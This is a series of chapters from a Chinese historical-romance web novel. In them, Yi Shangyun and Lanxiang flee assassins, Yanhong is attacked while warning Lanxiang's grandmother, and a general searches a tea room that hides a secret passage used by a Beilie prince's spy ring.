这时,一旁的俩个丫鬟尚还惊魂未定着,看到自家女主子悲伤倒地,急急上前来将其小心翼翼地搀扶起来,哭哭啼啼着道“小姐,姑爷已经没啦,小姐要多保重才是啊。”

半晌后,红梅方才缓缓上前来对兰香说道“兰香姐,让红梅带二郎回家吧。”

兰香闻此,忽然抬眼朝着红梅一怔道“回家?!”

思量片刻,兰香抬头看看红梅,又低眼看看自己怀中一脸纸白的白袍公子,随即缓缓拿出方才的那支金镶玉兰花玉簪来,可那拿着簪子的纤纤玉手却一直不停地颤抖着。

对着手里的兰花玉簪凝视了许久后,兰香忽然将其缓缓递给红梅,对她说道“这支兰花玉簪虽是因我而生,但它终究还是二郎之物。这一世,我与二郎终究是情深缘浅。而你...你与二郎,无论是否有夫妻之实,却始终都是他以三书六礼、八抬大轿、明媒正娶的结发妻子。这簪子留着,亦只是让人徒增伤感缕缕...你就将它与二郎一起葬了吧。此生,我与他...已两不相欠。如若真有来世...我亦愿与他再无瓜葛。”

红梅听了点点头,似是已经应允,便伸手将那支翠色欲滴的兰花玉簪接过收了起来。

这时,几个小厮抬着两顶轿子进到院里来,其中的一个小厮,拿着两把油纸伞上前递给红梅身旁的丫鬟,丫鬟立刻上前替

红梅撑了起来遮挡风雨。

红梅又从丫鬟手里接过另一把油纸伞来递到兰香面前“兰香姐,那红梅就告辞了,珍重!”

许是心中还是隐隐有些不甘,又或许是想珍惜这剩下不多的最后的每一分每一秒,兰香并没有伸手接红梅向她递过来的伞,只呆呆地注视着即将离开自己怀抱的男子,衣上云见此连忙伸手将其接过谢道“多谢。”

于是,几名小厮一起上前来很快的将白袍公子从兰香的手里接过,将其从地上抬起,很快便放进了轿子里。红梅亦是心情沉重地缓缓踱身上了另一个轿子。

很快,这突然而至的一场大雨里,所有的一切都消失不见了踪影,就仿佛刚才的一切如同根本没有发生过一般......

雨中,衣上云一手撑着油纸伞,一手拥着兰香的肩。兰香眼神呆滞地望着身边,白袍公子临死前拼尽全身最后一点力气重新打好的那个喜结连枝,却忽然转头趴在衣上云的肩上放声大哭了起来“呜呜呜...”

“哭吧,哭吧,都哭出来吧,哭出来就好了,我知道你方才最后说的那些狠话都不是真心的。你只是想让红梅答应,让二郎为你而制的那个世上独一无二的兰花簪子永远陪着他而已。你看,既然二郎临走前拼了命也要与你喜结连枝,再结下这来世之约,就注定了你与二郎一定会来世再见的。”衣上云拍着兰香的肩膀,安慰道。

就在这时,衣上云的眼睛余光一斜,忽然扫到有两个身佩长剑、满身杀气、一袭黑色斗篷,低低的遮着风帽将眼睛挡起的神秘男子正从大门外朝着她和兰香这边渐渐逼身靠近过来。

衣上云连忙将兰香拉起身来,催促道“不好,他们又回来了,快起来,快点儿,快跑...”

兰香闻此这才急急回过神来,一看到黑衣杀手,便一把拉起衣上云的手欲拔腿就跑。衣上云快速丢掉手里的油纸伞,迅速弯腰下去拾起地上方才被自己从白袍公子身上拔下来的淬了毒的短剑,方才跟着兰香从另一旁的小门上大步跑了出去。

黑衣杀手见被发现,便飞快地追了上去。

衣上云和兰香俩人蒙着头拼命的一直朝前跑,而俩名黑衣杀手亦在其身后紧追不舍。就在跑出了离梦园还没多远的时候,兰香一个弱女子便已捂着腹部气喘吁吁地支持不住了,而衣上云虽身为21世纪的大学校园运动会女子长跑冠军,但此时是在被受过专业训练的杀手追杀,她亦是大口地喘着气有些招架不住。

当俩人跑到街角一个稍微安

第一百三十五章:万娇阁,果然暗藏大阴谋

兰香一边褪着外衣,一边忧心道“云儿,你说的这俩个人真的可靠么,可如果这俩个人都不在如意居的话,那我又该如何是好呢?”

“都不在如意居,不会吧?!”衣上云此话刚一出口,兰香的心中似是忽然有了一个更好的主意。

她一双明亮的杏仁眼瞬间咕噜一转,开口问道“云儿,你究竟与秦王殿下有何关联,为何他会特意派重兵到万娇阁里来寻你呢?”

衣上云一听到兰香说秦王殿下,手里的动作忽然停了下来,心里不禁怔了一下,紧急关头,也只是一下下而已,随后犹犹豫豫间只回答她“我...过了元宵节,我便是秦王府侍候秦王妃的一名医女了。”

闻此,兰香的神情似是顿时一松了开,随即又道“原来如此...云儿,你看这样行么?既然这秦王殿下在寻你,那为何我们不直接请他来帮忙呢,秦王殿下不是更有能力保护我们么?”

衣上云听到兰香所说,一边扣着纽扣,一边狠狠瞪了她一眼,说道“你知道什么?秦王殿下是多么尊贵的人啊,你以为他兴师动众地从城东秦王府到万娇阁来真的是为了寻我——一个微不足道的小药女么。殿下他一定是发现了隐藏在万娇阁里的与朝政有关的什么大阴谋才赶来搜查的,寻我只是个幌子而已,亏你还在万娇阁里阅人无数,竟连这种声东击西的计谋都看不出。殿下自是在做更重要的事,在这个节骨眼儿上,我怎么能让她因我这点小事而分心呢...你若真见到他,千万不要告诉他我的事。我们的事小,坏了殿下的大事,那可就真的得不偿失了。好了好了,黑衣杀手就要追过来了,你就不要再说了。你到底穿好了没啊,这都是你自己的衣服,怎么穿起来反倒比我还慢呢,赶快走吧,别磨蹭了。”

兰香心里顿觉衣上云所说的也似乎是有些道理的,毕竟那可是睥睨天下的秦王殿下,而衣上云只不过是一个区区卑微的药师之女而已,似乎实在没有理由成为那高高在上的秦王所在意的人。

于是,在衣上云的催促和推嚷下,俩人很快便离开了此时掩护她们藏身的那个屋檐,又朝着滂沱大雨之中再次冲了出去。

跑到街头的分叉口时,俩人便分了开来,各自按照之前已计划好的逃了去。

“在那里,快追。”果然,后来追上的俩名黑衣杀手手持长剑,竟真的误把穿着兰香外衣的衣上云错当成了兰香,径自跟着追了上去。

万娇阁里。

嫣红站在自己房间的门口,看着小厮们忙忙碌碌,进进出出忙碌地搬着大大小小的行礼,不知道发生了什么事,来万娇阁里这么久了,她还从未见过这样的事。

这时,老鸨朝她走了过来,对其轻轻点

了点头,嫣红便跟在老鸨身后进到了房间里,老鸨随即将门从里面紧紧扣起。

“你现在立刻赶快收拾东西,我们马上要离开这个地方。”

听了老鸨的话,嫣红甚是喜出望外道“离开这个地方?你的意思是说,我们要永远离开万娇阁,挣脱主子对我们的控制了么?”

看到嫣红眼里流露出的惊喜之色,老鸨一时间竟不知该对其如何解释,稍作犹豫后,她上前握住嫣红的手坐了下来,对她抱歉地说道“嫣红,对不起,都是我连累了你。如果不是因为我,你也不会被困在这个暗无天日,肮脏龌龊的地方。”

闻此,嫣红的心忽然间又软了下来,自从拓跋泽将她困在这万娇阁里以后,她还是第一次这般和气地与老鸨坐下来交谈“茹姨,嫣红一直不明白,你当年...究竟为什么宁愿丢下一切,也要离开我们母女呢?难道,是觉得我们母女会拖累你么?”

听到嫣红发自肺腑真诚恳切的疑问,老鸨轻叹口气“傻丫头,你和你娘都是那么善良的人,茹姨怎么可能是害怕被你们娘俩拖累呢。嫣红,其实...茹姨并不是西秦人,而是南安人。”

本以为嫣红听了会很惊讶,却不想嫣红根本一点也不觉得诧异,只无所谓道“是南安国人怎么了,茹姨虽为南安国人,却比那些假仁假义的西秦人好千倍万倍。当年若不是茹姨,我娘和我怕早就没命了。又怎会有现在的我。虽然...我们暂时被人控制了,但嫣红相信,茹姨一定有办法帮我们脱困的,对么?”

嫣红此时充满信任和期望的眼神,让老鸨的心里瞬间变得更加惭愧起来,随即伸出一只手来抚了抚嫣红的后脑勺,语重心长道“真是个好孩子,这段时间在这里担惊受怕的,真是苦了你了。”

嫣红听了只抿嘴对她笑了笑。一转念,稍作犹豫,老鸨又道“其实,茹姨并没有你想的那么好。你不是很想知道当年茹姨为什么会撇下一切离开你和你娘么?”

嫣红瞪大了眼睛看着老鸨,老鸨稍作回忆,缓缓说道“十八年前,茹姨被南安国君冤枉,逐出了南安国土,被迫与我那尚还年幼的儿子骨肉分离,今生再也不得见面。”

嫣红闻此不可思议地大叫“怎么会这样?”

老鸨对于辛酸的过去,并未细说,接下来只道“后来我便在西秦国栖身下来,再后来就遇到了你娘。看到你渐渐长大,你们母慈女孝,茹姨很

第一百三十六章:北烈的茶罐

半晌后,嫣红一缓过神来,便连忙起身打开房门,匆匆下楼朝着万娇阁门外奔了去。老鸨望着嫣红离开的背影演了摇头,深叹口气,一脸茫然。

“香儿姐,你是嫣红今后在这个世上唯一的依靠,等我,一定要等我,你千万不能死,千万不能死啊...”嫣红在街上一边疾跑着,一边口中喃喃道。

就在嫣红急急出了房门大步向楼下跑去的时候,刚好与楼梯口的拓跋泽及其贴身侍卫擦肩而过。拓跋泽见其急匆匆跑下楼出神的模样竟连他都没注意到,便当即吩咐身边的贴身侍卫“快去跟上她”,侍卫即刻意会领命便追了出去。

“哼,本皇子倒要看看你这次究竟能逃到哪儿去。”拓跋泽单手负后,站在栏杆边对着嫣红和侍卫离去的背影自言自语地说道,脸上露出满是狡黠的表情。

这时,他忽然看到程良带着两名侍卫从门里进来,便朝其狠狠地瞪了一眼,随即转身快步回到了后院里去。

到了后院的阁楼上,拓跋泽径直朝着茶室的茶席边上一大型乌木茶架,上面布满琳琅满目各种储存茶叶的茶罐走了过去,看着一个个储茶罐,似是在挑选此时最合他心意的一道茗茶。

最终挑选了一罐用南国最上等的红茶混合其出产的最优质的玫瑰所制成的世间最好的玫瑰红茶拿在手里,这道茶口感醇和、利肺脾、益肝胆,尤其适合在冬日里女人美容养颜饮用。

选好了最衬自己目前心思的茗茶,他方才缓缓踱步来到茶室的茶几旁坐了下来,煮上了一壶清水,眼睛深长地凝望着眼前的水壶陷入了一片沉思之中,不禁想起了那日与玉娘一起品茶的一幕幕来,口中喃喃自语道“也不知后来本皇子差人送给你的这新出的玫瑰红茶你是否喜欢”......

“头儿,这万娇阁里,弟兄们都搜了个底朝天了,丝毫没有发现衣姑娘、玉娘和那北烈皇子拓跋泽的任何蛛丝马迹。该不会是殿下搞错了吧。”其中的一名侍卫一进门便对程良抱怨着。

“不可能,殿下一向独具慧眼,料事如神。他说在这里就一定在这里,绝不会错。”程良听后说道。

“是,可是现在我们该怎么办呢?”侍卫有些惶恐地问道。【¥………更好更新更快】

“搜,继续搜,角角落落都不要放过,一定要找出来。”稍作思索,程良对其坚定地道。

忽然,老鸨喜盈盈地冒出来叫喊道“哎呦,这位官爷您又来啦。怎么?那姑娘找到了没呢,今日来我这万娇阁是公事还是私事呢?”

“走开,废话少说。”还没等程良开口,其中一位侍卫便举起手中的剑来,对着老鸨开口训斥道。

然程良朝着开口说话的侍卫挥了挥手止住了他,问道“你就是这万娇阁里的老

鸨?”

老鸨仍面露喜色沉稳地答话道“回官爷话,正是老奴。”

程良粗略打量了她一番,随即问道“你家主子,为何不见他的人影,他在何处?”

老鸨听了却丝毫都不紧张,眼睛只怔了一下,随即便流利道“哎吆,我说这位官爷,您这话可就真的折煞老奴了。这说好听点,我是这万娇阁里管着些闲事的老鸨,说难听了,就是主人养的一条狗,哪里会有什么资格和胆量,竟敢打听主人的行踪呢,您真是抬举老身了。”

程良闻此回答,心中自是多少有些预料之中,却终究还是难忍心中的怒火,却也不得不强忍着内心的愤怒警告她“你都知道些什么,最好老老实实地交待出来,否则,如果让本将军亲自查了出来,到时候我们就不会是今天这般客气地说话了。”

“老奴实在不知道官爷您在说些什么,请恕老奴无可奉告。”老鸨依旧僵着一脸笑容对其说道。

“你不要敬酒不吃吃罚酒…”这时,一旁的俩个侍卫见那老鸨如此傲慢的态度,对他们的头儿说话,便怒着想要抽出腰间的佩剑来吓唬吓唬她,却被程良伸手拦下。

老鸨越是如此反常的傲慢姿态,程良便越是觉得这万娇阁里波涛暗涌。

想起主子的话,转念之间,程良又朝老鸨开口道“想必你也应该已经知道,我们所找的那位画像上的姑娘,就是女扮男装到万娇阁里来的那位来自城西的白袍公子了吧?!当日你派去服侍她的是哪位姑娘,本将军现在要找她问话,你且把她叫出来吧。”

老鸨听了心里顿时一惊,稍一迟疑,露出一抹黠笑“哦,原来官爷是来找兰香的啊,哎呦,那官爷今儿个来的可真是不巧,兰香昨日身体抱恙,已经告假离开万娇阁外出修养了!”

程良惊道“哦?这么巧,可知她何时回来?”

“这个老奴就说不准了,少则三五天,多则十天半个月,又或者…”老鸨说着说着,脸上的笑意渐渐淡了下去似是所有所思着。

“什么,这么久?”程良自是不知兰香早已成了拓跋泽的一枚弃子,正在被其全力追杀之中。

然稍一迟疑,程良紧接着问道“她离开的时候,可曾有说要去哪里修养?”

只见老鸨的眼睛稍移向一边,又用手中的丝帕轻掩着鼻翼

第一百三十七章:原是,一场美梦变噩梦

不知不觉间,已近暮色。

距离万娇阁不远处,一户门庭与左邻右舍相比,显得极为朴素甚至有些寒酸的小门小户里,袅袅炊烟渐渐升了起来。

院内,一位白发苍苍且步履蹒跚的暮年老人,正在庖屋里精心忙碌的烹煮着一餐略显丰盛的待客晚饭。

尽管都是些普通农家里的常见菜色,没有什么大鱼大肉,但对于这样度日艰难的家庭来说,这已然已经是比她们年夜饭的菜色都要好得多了。

而使老人如此兴致勃勃地烹煮这顿晚饭的原因,只因为十几年来,老人第一次心中如此高兴。

此时,老人正一边包着象征团团圆圆的饺饵,一边口中喃喃细语着“女儿啊,你泉下有知,也可以瞑目了。咱们兰香总算是有了出息了,如今竟也可以靠自己的正经本事讨生活了。如此,我这把老骨头也可以放心的去见你了。恨只恨,当年的那只披着羊皮的狼,为娘我至今仍旧还没有找到。所以,我这把老骨头还得好好撑着,我一定会为你报仇的。可怜的孩子,你就放心的好好投胎转世,来生做个富贵人家的孩子,不必再受苦了。”

说着说着,泪水不知不觉间模糊了视线,老人默默的用衣袖拭了拭脸庞的泪痕。

“咚咚咚,咚咚咚”就在这时,一阵紧急的叩门声忽然响起。

老人方才被惊醒过神来,于是连忙拍了拍手上粘着的面粉,便伸手拿起手边的拐杖从庖屋内缓缓朝着大门走去。边走边欣喜地说“是兰香和姑娘回来了吧!哎呦,可算是回来了,这好好的天气,怎么突然下起这么大的雨来了。你们没被淋着吧…”

然当她伸手打开门来的一刹那间,被眼前来人的模样惊呆了。

只见这叩门的人乃一妙龄女子,身着一袭红装,娇艳似火,却单薄如蝉翼。

这来人正是从万娇阁老鸨口中,得知了兰香被主子命人追杀,特地前来通风报信的嫣红。

因为事出十万火急,她根本顾不得卸下在一年四季都温暖如春的万娇阁里的单薄衣着,更无暇顾及到外面的滂沱大雨,便一股气冲了出来。

此时,嫣红在万娇阁里沾染的满身浓浓的胭脂水粉味直熏的人有些招架不住,老人一个没忍住,不禁极不适应地打了个喷嚏出来“阿嚏。”

随后,老人又仔细地将这名女子从上到下仔细打量了一番。

因为一场突如其来的大雨刚过,那女子本就单薄的衣裳此时已经完完全全被雨水湿透,紧紧地贴在身上。

人也有些瑟瑟发抖着,头上的碎发也凝成了一股一股。

于是,便更凸现出一副玲珑的曼妙身姿来,其身前坦胸露乳,中间的沟沟壑壑隐约可见。

再加上这满身浓浓的脂粉气,明显不是正

经人家里的姑娘,莫非她是……

正在老人沉思猜测之际,那女子先开了口,道“婆婆,请问这里是不是住着一个叫兰香的女子,我有非常紧急的事情找她,请让我见见她,好么?”

正所谓“人靠衣装马靠鞍”,嫣红此时此刻的打扮和模样确实有欠稳重。

此时,想必无论是谁,都不愿自家的门前出现一个如此风骚扮相的风尘女子。

而老人在衣上云告诉她兰香在外面的情况之前,就连每晚做梦都生怕自己的外孙女不学好,跟这样的人扯上关系。此时,暂且不说兰香真的不在屋里,就算她在,又怎么可能真的让嫣红见到兰香呢!

老人心里对她的初次映象已然不佳,一念至此,便顿时对这女子没了好气,嫌弃地道“你是什么人,找我外孙女有何贵干?”

“谢天谢地,总算没有找错地方。”嫣红一听到老人这句话,一脸欣喜激动的自言自语道。

“婆婆,是这样的,我叫嫣红,是和兰香一起做活儿的姐妹。香儿姐她人呢,我真的有很重要的事,必须马上告诉香儿姐。”稍一回神,嫣红一边说,一边绕过老人身体的遮掩向院子里四处张望着。

“哎哎哎,我说你这个姑娘,怎么这么没规矩呢,你瞎往人家家里瞧什么呢?我们香儿怎么可能会有你这样不识礼数的朋友。快点儿走,快点儿走,不要再呆在我家门口了,不知道的人还以为我们家认识那钟地方的人呢,这要是被邻居们知道了,那还了得。就光那唾沫都非把我们香儿淹死不可,以后还叫她怎么做人呢?!”老人见女子鬼鬼祟祟,便一边朝其愤愤说着,一边着急地将嫣红用力地往外推了一把,随即便准备将门关起来。

嫣红这才意识到了老人对她尤为质疑的态度,低头看了一眼自己的着装,便伸手将胸前的衣裳拢了拢。

可马上,她又快速反应过来,接着大力地一把拍在了即将关闭起来的门上,心下一急脱口而出“婆婆,求你了。我是真的有十万火急的事要告诉兰香姐,就请婆婆让我进去见见她吧,人命关天,真的很急很急…”

“住口”

谁知这次,嫣红的话还没说完,便被婆婆厉声大喝止住,嫣红被这突然提高的嗓门吓了一跳,不禁打了个颤。

老人随即开口继续训斥道“我不当面拆穿你的营生,已经是给足了你面子,可你非要自取其辱么?看看你这一身风尘女子的模样,哪里是正经人家的闺女,我们兰香乖巧懂事,怎么可能和你一起做活计,简直就是满口胡言乱语,识相的,还不赶快滚。否则……”

“婆婆,有人要杀香儿姐,我是特地前来报信的啊。”嫣红见老人甚是难缠,俩人久久僵持不下,只得此时

便将将她的来意急急说出。

“什么?有人要杀我香儿,这怎么可能呢,是谁要杀我家香儿?”果然,老人一听自己的外孙女有危险,便立刻着急担心了起来

第一百三十八章:姜,还是老的辣

嫣红一见来人手持长剑凶神恶煞地瞪着眼进门来,赶忙将老人一把遮到其身后挡了起来,朝后一步一步慢慢退了回去。

俩人惊恐地看着手持长剑夺门而入的两名男子渐渐逼近到她们身边,将那明晃晃锋利的长剑指向她们。

半晌后,嫣红颤颤巍巍地问“你们是什么人?想要干什么?”

这时,又跟着跨门进来一个似是其头领的男子,墨发半束、单手负后着。

男子一进门来并没有急着回答嫣红的问题,而是冲着俩个早已吓得战战兢兢的女人一脸狡黠地笑道“你们放心,只要你们把兰香乖乖交出来,我保证不会伤到你们俩分毫。”

嫣红闻之顿时领悟大惊道“你们是主子派来杀兰香灭口的?你们...你们跟踪了我?”

“女人太聪明了,可并不见得是什么好事啊。”那男子听了嫣红的话,倒吸了一口气,轻蔑地笑道。

谁知嫣红竟忽然变得不再柔弱起来,她心里暗自思量,往日里都是兰香在帮她遮风挡雨,这次说什么,她也一定不能出卖兰香。

事到如今,她也是豁出去了,总不能一辈子都一直这样畏首畏尾地任人摆布。

一念至此,她深吸口气似是鼓足了勇气,挺直腰身,提高了嗓门道“哼,想找香儿姐,真是可惜了。你们来晚了,她早已经离开了。”

“你说什么?”男子闻之即刻怔大了眼睛审视着嫣红的话是真是假。

稍一回神,男子朝两名手下摆了摆手,那俩人便立刻散开了去到屋子的里里外外,角角落落搜了去。

很快,俩名手下便将本就不大的这个小门户翻了个底朝天,进来拱手回禀道“启禀大人,这整个院里除了眼前这一老一少,并无她人。”

闻此,男子瞬间失了风度,再也沉不住气地一步上前,一伸手便紧紧地掐住了嫣红那细长的脖颈。

嫣红对此一点点防备都没有,直被那男子掐的即刻便满脸通红说不出话来,男子倾身凑近到其眼前大声喝道“快说,兰香她人究竟去了哪里?”

而此时,一直在一旁惊魂未定着被吓得瑟瑟发抖的老人见此,不禁惊出了声,抖得越发更厉害了。任凭她怎么都没想到这场大祸竟来的如此之快,以至于她至今都还没有反应过来。

然嫣红此刻心里却一点儿也不害怕,眼睛依旧漠视对着男子,吃力的冷哼一声道“哼,你以为就凭你们小小北烈国,区区一群野蛮人,便能在我西秦大地上翻云覆雨,为所欲为么?休想!不妨告诉你吧,别以为你们的阴谋无人知晓,你们这些年处心积虑隐藏在万娇阁里,通过留恋于万娇阁里的那些达官显贵刺探我西秦国情,香儿姐早就已经知道了你们的阴谋。此时此刻,香儿姐怕是

早已经到了官府报了信去抓你们了吧,你们休想逃掉,有本事你就去官府找她啊!呸…”

话音刚落,嫣红竟然朝着男子的脸上狠狠地啐了他一口。

“闭嘴,你这个贱人。”

随着男子气急败坏出手“啪”的一声,嫣红的脸上留下了清晰的五道手指印,同时亦被其重重地推倒在地。

“姑娘,姑娘没事吧。”老人看见连忙俯身下去将她扶住,关切道,嫣红捂着瞬间便发起烫的半边脸,蹙眉对其微微摇头,示意老人无需担心。

而这时,男子的眼里忽然闪现出一抹不怀好意甚至更显毒辣的光来,这光随即落向了嫣红身旁瘦弱的老人,似是心中有了更好的主意。

嫣红一见,立刻坐起身来将老人紧紧抱着,看着眼前的男子怯怯地疑惑道“你想做什么?”

谁知,那男子竟忽然语气平和了下来,走近老人身旁问“不知这位老人家是兰香的什么人呢?”

“与你何干?”尚还未等老人开口,嫣红急忙将身子挡在老人面前先开了口。

男子一见,狠狠地朝她瞪了一眼,深叹口气,随后看向了身旁的两名手下。

那两名手下立刻心领神会地上前,大力地各自拉起一人将嫣红与老人很容易便分离了开。

见此,嫣红声撕竭力地呐喊骂道“你们这些北烈国的野蛮人,畜牲。你们究竟想干什么,有什么,你们便都冲着我来。拿一个手无缚鸡之力的孱弱老人来撒气,算什么男人?!”

见此,嫣红瞬间乱了方寸,竟大喊起来“来人啊,救命啊,杀人啦,北烈国的细作……”

可话还没说完,牢牢控制着她双手的那名男子手下便拿出一条粗布巾来将嫣红的嘴巴堵的死死的,纵使她再怎么拼命挣扎也是无济于事。

这时,男子方才静下心来,依旧笑如春风般地继续诱骗老人,道“老人家,你可千万不要相信这个臭丫头的胡言乱语,我们可不是什么坏人。你把你知道的一切都老老实实的告诉我,我保证没人敢伤你半根头发。不仅如此,我还会给你一笔这辈子都吃不完用不尽的养老钱,如何?”

没了嫣红的掩护,老人此时终于清醒了过来,对男子的话思量片刻,随即镇静地缓缓说道“你果真能言而有信?”

男子笑着点点头,一旁被堵了嘴的嫣红则拼命摇着头。

老人看看这个又看看那个,开口说道“老人家我已经是即将入土的人了,要这些金银财宝身外之物有何用。唯只不过盼着死后过年过节的,能有个人能在坟头陪我说说话而已。如今,我用这些金银来换取我这独有的一个亲人,我那苦命的外孙女的命,

第一百三十九章:威逼利诱终无果

就在老人已万念俱灰地闭起眼睛,男子手持利剑正要发力刺向她胸口的千钧一发之际,忽然从门外传来一阵女子的声音“住手!”

屋内众人闻声,都不约而同的一起向着传出声音来的方向望去,顿时皆愕然一片。

只见一个瘦瘦弱弱的姑娘一身湿答答的站在门口,一只纤细的玉手将厚重的门帘轻轻撩起。

这姑娘身着着兰香的一袭宝蓝色衣裙,跑的气喘吁吁,尚还没顾及擦拭掉那额头上已分不清是残留的雨水还是汗水,只犹如及时从天而降的神女一般轻纱遮面,浑身散发着耀眼的光芒,一双炯炯有神的凤眼怒目瞪着眼前手持长剑的男子。

老人本就眼神不好,远远的只见眼前的女子一袭其外孙女的装扮,便瞬间脸上现出一抹极为焦急的神色,她自是在担心着外孙女的安危,好不容易赶巧了外出不在家躲过一劫,可她怎么偏又这时回来了?

一念至此,老人顿时吃惊地朝其大声喊道“香儿,你怎么回来了?你回来做什么?这些人是专程来杀你的,你快走,不要管我,快跑啊。”

然女子闻声非但没有退缩,反而极为平静地一步跨过门槛来,三步并做两步走近到老人身旁握起她的手,凝视着她的眼睛,似是想将老人方才所受到的一切恐惧全都抹了去。

这时,老人方才看清了这女子并非她的外孙女,而是与她外孙女上午一起前去梦园赏梦花的那位好姑娘,可这位姑娘既然都已经回来了,那她的外孙女又去了哪里呢?

就在老人满心疑惑的想开口说些什么的时候,衣上云直盯视着老人的眼睛朝其笑着微微摇了摇头,老人便立刻将已到嘴边的话语全都吞了下去,安心下来。

就在这时,那手持长剑的男子瞪大了眼睛,看着这个临危不惧、遮着面纱的女子,似乎亦是颇为惊讶,心中又有些暗自窃喜地试探着问道“莫非你就是...衣上云?”

“没错,我就是衣上云,你…认得我?”衣上云闻声速速一把将老人拉到自己身后护了起来,安然自若地回答道。

男子缓缓收起手中的利剑,没想到原以为这一趟是要白跑了。此时却是山重水复疑无路,柳暗花明又一村。

最后时刻,竟然让他们真的撞见了衣上云,要是能帮主子得到她的助力,主子定会对他大加赞赏的。

念及此,男子即刻含笑着恭维道“呵呵,在下早就听闻西秦衣药师府上的大小姐钟灵毓秀、医术过人、才智非同一般。今日一见,果然非同反响。”

闻此,衣上云的嘴角弯出一抹淡淡的弧度,却跟着扬起头来轻蔑地对其冷哼一声“哼,这些话本姑娘倒是不敢当。不过,不知以往何时,我可曾得罪过诸位?”

“哦,不曾,不曾,此话何从说起呢?能认识衣姑娘,是在下的荣幸,祖上积德,衣姑娘言重了。”男子连连弯腰哈背地朝其客气道。

然衣上云却忽然提高了声音,对其怒斥道“既然我不曾得罪诸位,那诸位为何险将我的婆婆与这位妹妹致之于死地呢?你方才手里举着利剑,气势汹汹的是想做什么?”

男子看着衣上云忽然间投向自己的一抹寒光四射的眼神,方才还好好挂在脸上的笑容瞬间便僵住了,怔在原地里半天说不出话来。他自是没有没想到,如此瘦弱的一个女子,竟能说出这般颇具气势和力量的话来。

稍一回神后,男子挥了挥手,两名手下便赶忙松开了牢牢被禁锢着的嫣红的双手,并替其拿掉了一直塞在她嘴里的粗布巾。

嫣红一挣开束缚,便指着那男子朝衣上云大声告知道“姑娘不要信他,嫣红刚刚记起来了,他是万娇阁阁主的近身侍卫。万娇阁的阁主乃是北烈国皇子,北烈国想要统一灵空四国,称霸整个灵空,他们这两年藏身在万娇阁里通过西秦的那些达官显贵们探知了不少其他三国的国事。”

衣上云闻之大惊,直勾勾地看向了嫣红的眼睛,嫣红朝其用力地点了点头,示意自己所言却是实情,随后又继续道“这次,因为秦王发现了万娇阁有蹊跷,便将万娇阁包围起来,他们怕暴露自己,便打算这两日逃回北烈国去。因为香儿姐知道很多阁主的事情,他们便设计跟踪我想要找出香儿姐,杀她灭口。”

“她所说的一切,可都是真的?”听完了嫣红的话,衣上云不禁惊讶这万娇阁里竟暗藏着这么复杂的阴谋,于是半信半疑着震惊地问那男子。

然男子却一点儿也不避讳,依旧诡异地笑了笑,让人不禁心里有些发毛,随即走到衣上云跟前,说“如今的灵空大陆,四国之间关系微妙,危机四伏。总得有一个出来主持大局,以使黎民百姓免受常年的战争之苦。而试问天下又有谁不想坐上这个位子。而为了这个位置,哪个国家不是派了自己最强大的细作队伍潜入对方朝政助其成事,我北烈又有何错?难不成我们什么都不做,就这样坐以待毙,任人鱼肉么?”

闻此,衣上云嗤之以鼻道“哼,说的倒是冠冕堂皇。不错,这天下恒古至今的确是合久必分,分久必合。可只怕你们区区北烈国,一个贫穷落后的小小游牧国家,对抗西秦且已是以卵击石,又有什么资格坐拥这天下。我劝你们还是早些悬崖勒马,向仁义之邦俯首称臣,寻求庇护才是明道,切莫引火自焚才是。”

第一百四十章:亲查万娇阁“茶室”

万娇阁后院。

拓跋泽的阁楼里,两名黑衣杀手正怯怯地跪在其面前冰冷的地板上禀报“启禀殿下,属下们在梦园里发现了兰香与衣上云的踪影。可后来...后来跟丢了。”

“废物,滚出去!”随着一阵震耳欲聋的怒骂声,两名黑衣杀手急急起身来向外仓皇而逃了出去。

随之,身后传来一阵杯盏被摔落在地破碎所发出的极为清脆的声音来。

这时,一名侍卫神色慌张地走了进来,凑到拓跋泽的身边对其耳语了片刻。

只见拓跋泽越往下听去,那双深邃的眼睛便眯地越紧,方才握起的那只搭在面前茶几上的拳头亦是握的更紧,脸上还夹杂着渗人的凶光。

侍卫言闭,拓跋泽随后便急急起身来朝着茶席旁,其上面布满琳琅满目各种储茶罐的乌木茶架走了过去。

当他走到一个似是极为熟悉的,其上面亦印着北方牧草羊草图案的比其他储茶罐都大了几分的一个储茶罐边儿上时,忽然停了下来。

只见他伸手轻轻将这个储茶罐挪离原来的位置,这架子上便出现了一个镶嵌着的有些像狼面的金属图腾。

他又将其往下轻轻一按,忽然,乌木茶架边的地上打开来了一道缝隙来。

沿着这神秘的缝隙看去,眼前竟有一座通往地下的楼梯,里面还隐隐约约散发出星星点点的烛火之光来。

这时,拓跋泽快速朝着那缝隙踱步走了过去,沿着楼梯一路而下。

就在他的身影刚一消失在茶室里,地上方才的缝隙便瞬时合拢起消失不见。

这时,一旁的侍卫便连忙上前,将那刚才被拓跋泽挪开的茶罐重新归位放置好,又仔细的检查了一番,见并没有留下任何痕迹,这才又去了另一边弯腰下去捡拾起地上的杯盏碎瓷片来。

就在这时,老鸨带着程良和两名随行的侍卫缓缓上了楼来。

老鸨顿时瞪大了眼睛朝着捡拾碎瓷片的侍卫使了个眼色,侍卫便悄悄退了下去。

程良警觉的瓢了一眼这个与他擦身而过的显得有些怯怯的男子,亦是看到了他手中捏着的碎瓷片,心里暗自怀疑着。

就在程良思量之际,老鸨满脸堆笑着向程良介绍“官爷请看,这里便是我们万娇阁的储茶室了,平日里采购回来的新茶,都会统一归置在这里。因为万娇阁里都是侍候一些达官显贵的,这茶叶平日里自是也都用的是极好的。因为怕交给别人保管不好的话暴殄天物,又怕被其拿出去偷着换钱,这后院便不允许任何人进来。到了用茶的时候,也都是老奴亲自上来取了再分发下去。所以这平日里,也没有个专人整理打扫,难免有些脏乱,官爷就随便到处看看吧。”

“这里除了你,果真再也没有人能来

么?”程良疑惑地看看刚刚离去的男子身影,又看看眼前茶几上正在沸腾着的一壶清水,朝着老鸨说道。

老鸨这才眼睛一斜,朝着程良看向的方向也都一一看了去,似是忽然意识到了自己此时是真的紧张,一时竟失了言。

于是,稍一迟疑,她看着眼前茶几上正在烹煮的早已沸腾开来并发出咕嘟咕嘟的声音的那壶水,以及水壶旁还放着的一小罐茶叶,立刻一边急匆匆地踱步过去,一边嘴里谩骂道“这个小兔崽子,竟敢私自躲懒偷跑到这里来偷吃茶,还打坏了这里的茶具,看我待会儿怎么收拾他,今儿非得扒了他的皮不可。”

老鸨说的做的倒是装的有模有样,可终究还是逃不过程良的火眼晶晶。

他自从一进到这个院里来,便看出这个似是不起眼的后院,可并没那么简单。

这个院子不大,却是淡雅别致,亭台楼阁应有尽有,且都一尘不染地清爽干净。

上了楼后,更是让他惊讶不已,也让他更加确信自己方才心中的猜测。

